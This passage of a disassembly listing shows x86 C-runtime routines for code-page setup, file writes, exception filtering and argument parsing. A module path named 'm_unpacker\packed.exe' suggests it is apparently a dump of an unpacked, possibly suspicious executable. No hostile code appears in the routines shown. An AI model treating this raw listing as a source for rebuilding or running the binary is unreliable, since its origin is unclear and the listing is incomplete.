[ebp+var_12], 0 jz loc_41EA6C lea ecx, [ebp+var_11] loc_41E9B4: ; CODE XREF: sub_41E92D+139j mov dl, [ecx] test dl, dl jz loc_41EA6C movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41E9C5: ; CODE XREF: sub_41E92D+A8j cmp eax, edx ja loc_41EA60 or byte_48B561[eax], 4 inc eax jmp short loc_41E9C5 ; --------------------------------------------------------------------------- loc_41E9D7: ; CODE XREF: sub_41E92D+36j push 40h xor eax, eax pop ecx mov edi, offset byte_48B560 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43B950[esi] loc_41E9F3: ; CODE XREF: sub_41E92D+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41EA26 loc_41E9FA: ; CODE XREF: sub_41E92D+F7j mov dl, [ecx+1] test dl, dl jz short loc_41EA26 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41EA1F mov edx, [ebp+var_4] mov dl, byte_43B938[edx] loc_41EA14: ; CODE XREF: sub_41E92D+F0j or byte_48B561[eax], dl inc eax cmp eax, edi jbe short loc_41EA14 loc_41EA1F: ; CODE XREF: sub_41E92D+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41E9FA loc_41EA26: ; CODE XREF: sub_41E92D+CBj ; sub_41E92D+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41E9F3 mov eax, [ebp+arg_0] mov dword_48B45C, 1 push eax mov dword_48B444, eax call sub_41EB10 lea esi, dword_43B944[esi] mov edi, offset dword_48B450 movsd movsd pop ecx mov dword_48B664, eax movsd jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA60: ; CODE XREF: sub_41E92D+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41E9B4 loc_41EA6C: ; CODE XREF: sub_41E92D+7Ej ; sub_41E92D+8Bj push 1 pop eax loc_41EA6F: ; CODE XREF: sub_41E92D+14Fj or byte_48B561[eax], 8 inc eax cmp eax, 0FFh jb short loc_41EA6F push esi call sub_41EB10 pop ecx mov dword_48B664, eax mov dword_48B45C, 1 jmp short loc_41EA9C ; --------------------------------------------------------------------------- loc_41EA96: ; CODE XREF: sub_41E92D+74j mov dword_48B45C, ebx loc_41EA9C: ; CODE XREF: sub_41E92D+167j xor eax, eax mov edi, offset dword_48B450 stosd stosd stosd jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EAA8: ; CODE XREF: sub_41E92D+51j cmp dword_48A0C4, ebx jz short loc_41EABE loc_41EAB0: ; CODE XREF: sub_41E92D+27j call sub_41EB43 loc_41EAB5: ; CODE XREF: sub_41E92D+131j ; sub_41E92D+179j call sub_41EB6C loc_41EABA: ; CODE XREF: sub_41E92D+1Dj xor eax, eax jmp short loc_41EAC1 ; --------------------------------------------------------------------------- loc_41EABE: ; CODE XREF: sub_41E92D+181j or eax, 0FFFFFFFFh loc_41EAC1: ; CODE XREF: sub_41E92D+18Fj pop edi pop esi pop ebx leave retn sub_41E92D endp ; =============== S U B R O U T I N E ======================================= sub_41EAC6 proc near ; CODE XREF: sub_41E92D+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_48A0C4, 0 cmp eax, 0FFFFFFFEh jnz short loc_41EAE6 mov dword_48A0C4, 1 nop jmp near ptr 25F0935h ; --------------------------------------------------------------------------- loc_41EAE6: ; CODE XREF: sub_41EAC6+Ej cmp eax, 0FFFFFFFDh jnz short loc_41EAFB mov dword_48A0C4, 1 nop jmp near ptr 2861AAFh ; --------------------------------------------------------------------------- loc_41EAFB: ; CODE XREF: sub_41EAC6+23j cmp eax, 0FFFFFFFCh jnz short locret_41EB0F mov eax, dword_48A0B8 mov dword_48A0C4, 1 locret_41EB0F: ; CODE XREF: sub_41EAC6+38j retn sub_41EAC6 endp ; =============== S U B R O U T I N E ======================================= sub_41EB10 proc near ; CODE XREF: sub_41E92D+118p ; sub_41E92D+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41EB3D sub eax, 4 jz short loc_41EB37 sub eax, 0Dh jz short loc_41EB31 dec eax jz short loc_41EB2B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41EB2B: ; CODE XREF: sub_41EB10+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41EB31: ; CODE XREF: sub_41EB10+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41EB37: ; CODE XREF: sub_41EB10+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41EB3D: ; CODE XREF: sub_41EB10+9j mov eax, 411h retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EB43 proc near ; CODE XREF: sub_41E92D:loc_41EAB0p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_48B560 rep stosd stosb xor eax, eax mov edi, offset dword_48B450 mov dword_48B444, eax mov dword_48B45C, eax mov dword_48B664, eax stosd stosd stosd pop edi retn sub_41EB43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB6C proc near ; CODE XREF: sub_41E92D:loc_41EAB5p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_48B444 nop call near ptr 286128Eh cmp eax, 1 jnz loc_41ECA5 xor eax, eax mov esi, 100h loc_41EB96: ; CODE XREF: sub_41EB6C+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_41EB96 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_41EBE7 push ebx push edi lea edx, [ebp+var_D] loc_41EBB5: ; CODE XREF: sub_41EB6C+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41EBDC sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41EBDC: ; CODE XREF: sub_41EB6C+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41EBB5 pop edi pop ebx loc_41EBE7: ; CODE XREF: sub_41EB6C+42j push 0 lea eax, [ebp+var_514] push dword_48B664 push dword_48B444 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_41FB63 push 0 lea eax, [ebp+var_214] push dword_48B444 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_48B664 call sub_41E709 push 0 lea eax, [ebp+var_314] push dword_48B444 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_48B664 call sub_41E709 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_41EC62: ; CODE XREF: sub_41EB6C+135j mov dx, [ecx] test dl, 1 jz short loc_41EC80 or byte_48B561[eax], 10h mov dl, [ebp+eax+var_214] loc_41EC78: ; CODE XREF: sub_41EB6C+127j mov byte_48B460[eax], dl jmp short loc_41EC9C ; --------------------------------------------------------------------------- loc_41EC80: ; CODE XREF: sub_41EB6C+FCj test dl, 2 jz short loc_41EC95 or byte_48B561[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_41EC78 ; --------------------------------------------------------------------------- loc_41EC95: ; CODE XREF: sub_41EB6C+117j and byte_48B460[eax], 0 loc_41EC9C: ; CODE XREF: sub_41EB6C+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_41EC62 jmp short loc_41ECEE ; --------------------------------------------------------------------------- loc_41ECA5: ; CODE XREF: sub_41EB6C+1Dj xor eax, eax mov esi, 100h loc_41ECAC: ; CODE XREF: sub_41EB6C+180j cmp eax, 41h jb short loc_41ECCA cmp eax, 5Ah ja short loc_41ECCA or byte_48B561[eax], 10h mov cl, al add cl, 20h loc_41ECC2: ; CODE XREF: sub_41EB6C+174j mov byte_48B460[eax], cl jmp short loc_41ECE9 ; --------------------------------------------------------------------------- loc_41ECCA: ; CODE XREF: sub_41EB6C+143j ; sub_41EB6C+148j cmp eax, 61h jb short loc_41ECE2 cmp eax, 7Ah ja short loc_41ECE2 or byte_48B561[eax], 20h mov cl, al sub cl, 20h jmp short loc_41ECC2 ; --------------------------------------------------------------------------- loc_41ECE2: ; CODE XREF: sub_41EB6C+161j ; sub_41EB6C+166j and byte_48B460[eax], 0 loc_41ECE9: ; CODE XREF: sub_41EB6C+15Cj inc eax cmp eax, esi jb short loc_41ECAC loc_41ECEE: ; CODE XREF: sub_41EB6C+137j pop esi leave retn sub_41EB6C endp ; =============== S U B R O U T I N E ======================================= sub_41ECF1 proc near ; CODE XREF: sub_41F12F+9p ; sub_41F187+Dp ... cmp dword_48B694, 0 jnz short locret_41ED0C push 0FFFFFFFDh call sub_41E92D pop ecx mov dword_48B694, 1 locret_41ED0C: ; CODE XREF: sub_41ECF1+7j retn sub_41ECF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED0D proc near ; CODE XREF: sub_4192B8+2Bp ; sub_4192B8+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_48B45C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_41ED31 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_418C10 add esp, 0Ch jmp short loc_41ED94 ; --------------------------------------------------------------------------- loc_41ED31: ; CODE XREF: sub_41ED0D+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_41ED76 mov ecx, [ebp+arg_4] loc_41ED3C: ; CODE XREF: sub_41ED0D+5Bj mov al, [ecx] dec edx movzx esi, al test byte_48B561[esi], 4 mov [edi], al jz short loc_41ED60 inc edi inc ecx test edx, edx jz short loc_41ED6C mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_41ED72 jmp short loc_41ED66 ; --------------------------------------------------------------------------- loc_41ED60: ; CODE XREF: sub_41ED0D+3Ej inc edi inc ecx test al, al jz short loc_41ED76 loc_41ED66: ; CODE XREF: sub_41ED0D+51j test edx, edx jnz short loc_41ED3C jmp short loc_41ED76 ; --------------------------------------------------------------------------- loc_41ED6C: ; CODE XREF: sub_41ED0D+44j and byte ptr [edi-1], 0 jmp short loc_41ED76 ; --------------------------------------------------------------------------- loc_41ED72: ; CODE XREF: sub_41ED0D+4Fj and byte ptr [edi-2], 0 loc_41ED76: ; CODE XREF: sub_41ED0D+2Aj ; sub_41ED0D+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_41ED91 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41ED91: ; CODE XREF: sub_41ED0D+6Fj mov eax, [ebp+arg_0] loc_41ED94: ; CODE XREF: sub_41ED0D+22j pop edi pop ebp retn sub_41ED0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED97 proc near ; CODE XREF: sub_4196EF+A2p ; sub_419D23+95p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_48B440 push esi push edi jnb loc_41EF2B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:48B340h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_41EF2B xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_41EDE8 loc_41EDE1: ; CODE XREF: sub_41ED97+177j xor eax, eax jmp loc_41EF3F ; --------------------------------------------------------------------------- loc_41EDE8: ; CODE XREF: sub_41ED97+48j test al, 20h jz short loc_41EDF8 push 2 push edi push ecx call sub_41E517 add esp, 0Ch loc_41EDF8: ; CODE XREF: sub_41ED97+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41EEC7 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_41EEFF loc_41EE18: ; CODE XREF: sub_41ED97+F5j lea eax, [ebp+var_414] loc_41EE1E: ; CODE XREF: sub_41ED97+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41EE52 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_41EE3D inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_41EE3D: ; CODE XREF: sub_41ED97+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_41EE1E loc_41EE52: ; CODE XREF: sub_41ED97+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 2630000h nop test eax, eax jz short loc_41EEBC mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_41EE8E mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41EE18 loc_41EE8E: ; CODE XREF: sub_41ED97+EAj ; sub_41ED97+12Ej xor edi, edi loc_41EE90: ; CODE XREF: sub_41ED97+150j ; sub_41ED97+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41EF26 cmp [ebp+arg_0], edi jz short loc_41EEFF push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_41EEF4 mov dword_48A014, 9 mov dword_48A018, eax jmp loc_41EF3C ; --------------------------------------------------------------------------- loc_41EEBC: ; CODE XREF: sub_41ED97+E0j nop call near ptr 26402CBh mov [ebp+arg_0], eax jmp short loc_41EE8E ; --------------------------------------------------------------------------- loc_41EEC7: ; CODE XREF: sub_41ED97+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 2630000h test eax, eax jz short loc_41EEE9 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_41EE90 ; --------------------------------------------------------------------------- loc_41EEE9: ; CODE XREF: sub_41ED97+145j nop call near ptr 26402CBh mov [ebp+arg_0], eax jmp short loc_41EE90 ; --------------------------------------------------------------------------- loc_41EEF4: ; CODE XREF: sub_41ED97+10Fj push [ebp+arg_0] call sub_41EF44 pop ecx jmp short loc_41EF3C ; --------------------------------------------------------------------------- loc_41EEFF: ; CODE XREF: sub_41ED97+7Bj ; sub_41ED97+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41EF14 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_41EDE1 loc_41EF14: ; CODE XREF: sub_41ED97+16Fj mov dword_48A014, 1Ch mov dword_48A018, edi jmp short loc_41EF3C ; --------------------------------------------------------------------------- loc_41EF26: ; CODE XREF: sub_41ED97+FEj sub eax, [ebp+var_10] jmp short loc_41EF3F ; --------------------------------------------------------------------------- loc_41EF2B: ; CODE XREF: sub_41ED97+15j ; sub_41ED97+37j and dword_48A018, 0 mov dword_48A014, 9 loc_41EF3C: ; CODE XREF: sub_41ED97+120j ; sub_41ED97+166j ... or eax, 0FFFFFFFFh loc_41EF3F: ; CODE XREF: sub_41ED97+4Cj ; sub_41ED97+192j pop edi pop esi pop ebx leave retn sub_41ED97 endp ; =============== S U B R O U T I N E ======================================= sub_41EF44 proc near ; CODE XREF: sub_4197F9+16p ; sub_419BBA+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_48A018, ecx mov eax, offset dword_43BA30 loc_41EF55: ; CODE XREF: sub_41EF44+1Ej cmp ecx, [eax] jz short loc_41EF79 add eax, 8 inc edx cmp eax, offset dword_43BB98 jl short loc_41EF55 cmp ecx, 13h jb short loc_41EF86 cmp ecx, 24h ja short loc_41EF86 mov dword_48A014, 0Dh retn ; --------------------------------------------------------------------------- loc_41EF79: ; CODE XREF: sub_41EF44+13j mov eax, dword_43BA34[edx*8] mov dword_48A014, eax retn ; --------------------------------------------------------------------------- loc_41EF86: ; CODE XREF: sub_41EF44+23j ; sub_41EF44+28j cmp ecx, 0BCh jb short loc_41EFA0 cmp ecx, 0CAh mov dword_48A014, 8 jbe short locret_41EFAA loc_41EFA0: ; CODE XREF: sub_41EF44+48j mov dword_48A014, 16h locret_41EFAA: ; CODE XREF: sub_41EF44+5Aj retn sub_41EF44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EFAB proc near ; CODE XREF: ___:00419CC7p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_41F0EC test eax, eax pop ecx jz loc_41F0E0 mov ebx, [eax+8] test ebx, ebx jz loc_41F0E0 cmp ebx, 5 jnz short loc_41EFDC and dword ptr [eax+8], 0 push 1 pop eax jmp loc_41F0E9 ; --------------------------------------------------------------------------- loc_41EFDC: ; CODE XREF: sub_41EFAB+23j cmp ebx, 1 jz loc_41F0DB mov ecx, dword_48A0C8 mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov dword_48A0C8, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41F0CB mov ecx, dword_43BC10 mov edx, dword_43BC14 add edx, ecx push esi cmp ecx, edx jge short loc_41F02B lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43BBA0h[esi*4] loc_41F022: ; CODE XREF: sub_41EFAB+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_41F022 loc_41F02B: ; CODE XREF: sub_41EFAB+69j mov eax, [eax] mov esi, dword_43BC1C cmp eax, 0C000008Eh jnz short loc_41F046 mov dword_43BC1C, 83h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F046: ; CODE XREF: sub_41EFAB+8Dj cmp eax, 0C0000090h jnz short loc_41F059 mov dword_43BC1C, 81h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F059: ; CODE XREF: sub_41EFAB+A0j cmp eax, 0C0000091h jnz short loc_41F06C mov dword_43BC1C, 84h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F06C: ; CODE XREF: sub_41EFAB+B3j cmp eax, 0C0000093h jnz short loc_41F07F mov dword_43BC1C, 85h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F07F: ; CODE XREF: sub_41EFAB+C6j cmp eax, 0C000008Dh jnz short loc_41F092 mov dword_43BC1C, 82h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F092: ; CODE XREF: sub_41EFAB+D9j cmp eax, 0C000008Fh jnz short loc_41F0A5 mov dword_43BC1C, 86h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F0A5: ; CODE XREF: sub_41EFAB+ECj cmp eax, 0C0000092h jnz short loc_41F0B6 mov dword_43BC1C, 8Ah loc_41F0B6: ; CODE XREF: sub_41EFAB+99j ; sub_41EFAB+ACj ... push dword_43BC1C push 8 call ebx pop ecx mov dword_43BC1C, esi pop ecx pop esi jmp short loc_41F0D3 ; --------------------------------------------------------------------------- loc_41F0CB: ; CODE XREF: sub_41EFAB+52j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_41F0D3: ; CODE XREF: sub_41EFAB+11Ej mov eax, [ebp+arg_0] mov dword_48A0C8, eax loc_41F0DB: ; CODE XREF: sub_41EFAB+34j or eax, 0FFFFFFFFh jmp short loc_41F0E9 ; --------------------------------------------------------------------------- loc_41F0E0: ; CODE XREF: sub_41EFAB+Fj ; sub_41EFAB+1Aj push [ebp+arg_4] nop call near ptr 25F06A1h loc_41F0E9: ; CODE XREF: sub_41EFAB+2Cj ; sub_41EFAB+133j pop ebx pop ebp retn sub_41EFAB endp ; =============== S U B R O U T I N E ======================================= sub_41F0EC proc near ; CODE XREF: sub_41EFAB+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43BC18 cmp dword_43BB98, edx push esi mov eax, offset dword_43BB98 jz short loc_41F119 lea esi, [ecx+ecx*2] lea esi, ds:43BB98h[esi*4] loc_41F10E: ; CODE XREF: sub_41F0EC+2Bj add eax, 0Ch cmp eax, esi jnb short loc_41F119 cmp [eax], edx jnz short loc_41F10E loc_41F119: ; CODE XREF: sub_41F0EC+16j ; sub_41F0EC+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43BB98h[ecx*4] cmp eax, ecx jnb short loc_41F12C cmp [eax], edx jz short locret_41F12E loc_41F12C: ; CODE XREF: sub_41F0EC+3Aj xor eax, eax locret_41F12E: ; CODE XREF: sub_41F0EC+3Ej retn sub_41F0EC endp ; =============== S U B R O U T I N E ======================================= sub_41F12F proc near ; CODE XREF: ___:00419C89p cmp dword_48B694, 0 jnz short loc_41F13D call sub_41ECF1 loc_41F13D: ; CODE XREF: sub_41F12F+7j push esi mov esi, dword_48B68C mov al, [esi] cmp al, 22h jnz short loc_41F16F loc_41F14A: ; CODE XREF: sub_41F12F+33j ; sub_41F12F+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_41F167 test al, al jz short loc_41F167 movzx eax, al push eax call sub_42101D test eax, eax pop ecx jz short loc_41F14A inc esi jmp short loc_41F14A ; --------------------------------------------------------------------------- loc_41F167: ; CODE XREF: sub_41F12F+21j ; sub_41F12F+25j cmp byte ptr [esi], 22h jnz short loc_41F179 loc_41F16C: ; CODE XREF: sub_41F12F+52j inc esi jmp short loc_41F179 ; --------------------------------------------------------------------------- loc_41F16F: ; CODE XREF: sub_41F12F+19j cmp al, 20h jbe short loc_41F179 loc_41F173: ; CODE XREF: sub_41F12F+48j inc esi cmp byte ptr [esi], 20h ja short loc_41F173 loc_41F179: ; CODE XREF: sub_41F12F+3Bj ; sub_41F12F+3Ej ... mov al, [esi] test al, al jz short loc_41F183 cmp al, 20h jbe short loc_41F16C loc_41F183: ; CODE XREF: sub_41F12F+4Ej mov eax, esi pop esi retn sub_41F12F endp ; =============== S U B R O U T I N E ======================================= sub_41F187 proc near ; CODE XREF: ___:00419C72p push ebx xor ebx, ebx cmp dword_48B694, ebx push esi push edi jnz short loc_41F199 call sub_41ECF1 loc_41F199: ; CODE XREF: sub_41F187+Bj mov esi, dword_48A060 xor edi, edi loc_41F1A1: ; CODE XREF: sub_41F187+30j mov al, [esi] cmp al, bl jz short loc_41F1B9 cmp al, 3Dh jz short loc_41F1AC inc edi loc_41F1AC: ; CODE XREF: sub_41F187+22j push esi call sub_417AB0 pop ecx lea esi, [esi+eax+1] jmp short loc_41F1A1 ; --------------------------------------------------------------------------- loc_41F1B9: ; CODE XREF: sub_41F187+1Ej lea eax, ds:4[edi*4] push eax call sub_417B89 mov esi, eax pop ecx cmp esi, ebx mov dword_48A03C, esi jnz short loc_41F1DB push 9 call sub_419CDA pop ecx loc_41F1DB: ; CODE XREF: sub_41F187+4Aj mov edi, dword_48A060 cmp [edi], bl jz short loc_41F21E push ebp loc_41F1E6: ; CODE XREF: sub_41F187+94j push edi call sub_417AB0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_41F217 push ebp call sub_417B89 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_41F20A push 9 call sub_419CDA pop ecx loc_41F20A: ; CODE XREF: sub_41F187+79j push edi push dword ptr [esi] call sub_4179C0 pop ecx add esi, 4 pop ecx loc_41F217: ; CODE XREF: sub_41F187+6Cj add edi, ebp cmp [edi], bl jnz short loc_41F1E6 pop ebp loc_41F21E: ; CODE XREF: sub_41F187+5Cj push dword_48A060 call sub_417C3B pop ecx mov dword_48A060, ebx mov [esi], ebx pop edi pop esi mov dword_48B690, 1 pop ebx retn sub_41F187 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F240 proc near ; CODE XREF: ___:00419C6Dp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_48B694, ebx push esi push edi jnz short loc_41F257 call sub_41ECF1 loc_41F257: ; CODE XREF: sub_41F240+10j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2650000h mov eax, dword_48B68C mov off_48A04C, esi mov edi, esi cmp [eax], bl jz short loc_41F27C mov edi, eax loc_41F27C: ; CODE XREF: sub_41F240+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_41F2D9 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_417B89 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_41F2AC push 8 call sub_419CDA pop ecx loc_41F2AC: ; CODE XREF: sub_41F240+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_41F2D9 mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_48A034, esi pop edi pop esi mov dword_48A030, eax pop ebx leave retn sub_41F240 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F2D9 proc near ; CODE XREF: sub_41F240+47p ; sub_41F240+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_41F303 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41F303: ; CODE XREF: sub_41F2D9+20j cmp byte ptr [eax], 22h jnz short loc_41F34C loc_41F308: ; CODE XREF: sub_41F2D9+58j ; sub_41F2D9+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41F33A test dl, dl jz short loc_41F33A movzx edx, dl test byte_48B561[edx], 4 jz short loc_41F32D inc dword ptr [ecx] test esi, esi jz short loc_41F32D mov dl, [eax] mov [esi], dl inc esi inc eax loc_41F32D: ; CODE XREF: sub_41F2D9+46j ; sub_41F2D9+4Cj inc dword ptr [ecx] test esi, esi jz short loc_41F308 mov dl, [eax] mov [esi], dl inc esi jmp short loc_41F308 ; --------------------------------------------------------------------------- loc_41F33A: ; CODE XREF: sub_41F2D9+36j ; sub_41F2D9+3Aj inc dword ptr [ecx] test esi, esi jz short loc_41F344 and byte ptr [esi], 0 inc esi loc_41F344: ; CODE XREF: sub_41F2D9+65j cmp byte ptr [eax], 22h jnz short loc_41F38F inc eax jmp short loc_41F38F ; --------------------------------------------------------------------------- loc_41F34C: ; CODE XREF: sub_41F2D9+2Dj ; sub_41F2D9+A5j inc dword ptr [ecx] test esi, esi jz short loc_41F357 mov dl, [eax] mov [esi], dl inc esi loc_41F357: ; CODE XREF: sub_41F2D9+77j mov dl, [eax] inc eax movzx ebx, dl test byte_48B561[ebx], 4 jz short loc_41F372 inc dword ptr [ecx] test esi, esi jz short loc_41F371 mov bl, [eax] mov [esi], bl inc esi loc_41F371: ; CODE XREF: sub_41F2D9+91j inc eax loc_41F372: ; CODE XREF: sub_41F2D9+8Bj cmp dl, 20h jz short loc_41F380 test dl, dl jz short loc_41F384 cmp dl, 9 jnz short loc_41F34C loc_41F380: ; CODE XREF: sub_41F2D9+9Cj test dl, dl jnz short loc_41F387 loc_41F384: ; CODE XREF: sub_41F2D9+A0j dec eax jmp short loc_41F38F ; --------------------------------------------------------------------------- loc_41F387: ; CODE XREF: sub_41F2D9+A9j test esi, esi jz short loc_41F38F and byte ptr [esi-1], 0 loc_41F38F: ; CODE XREF: sub_41F2D9+6Ej ; sub_41F2D9+71j ... and [ebp+arg_10], 0 loc_41F393: ; CODE XREF: sub_41F2D9+19Ej cmp byte ptr [eax], 0 jz loc_41F47C loc_41F39C: ; CODE XREF: sub_41F2D9+D0j mov dl, [eax] cmp dl, 20h jz short loc_41F3A8 cmp dl, 9 jnz short loc_41F3AB loc_41F3A8: ; CODE XREF: sub_41F2D9+C8j inc eax jmp short loc_41F39C ; --------------------------------------------------------------------------- loc_41F3AB: ; CODE XREF: sub_41F2D9+CDj cmp byte ptr [eax], 0 jz loc_41F47C test edi, edi jz short loc_41F3C0 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41F3C0: ; CODE XREF: sub_41F2D9+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_41F3C5: ; CODE XREF: sub_41F2D9+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_41F3CE: ; CODE XREF: sub_41F2D9+FCj cmp byte ptr [eax], 5Ch jnz short loc_41F3D7 inc eax inc ebx jmp short loc_41F3CE ; --------------------------------------------------------------------------- loc_41F3D7: ; CODE XREF: sub_41F2D9+F8j cmp byte ptr [eax], 22h jnz short loc_41F408 test bl, 1 jnz short loc_41F406 xor edi, edi cmp [ebp+arg_10], edi jz short loc_41F3F5 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_41F3F5 mov eax, edx jmp short loc_41F3F8 ; --------------------------------------------------------------------------- loc_41F3F5: ; CODE XREF: sub_41F2D9+10Dj ; sub_41F2D9+116j mov [ebp+arg_0], edi loc_41F3F8: ; CODE XREF: sub_41F2D9+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov 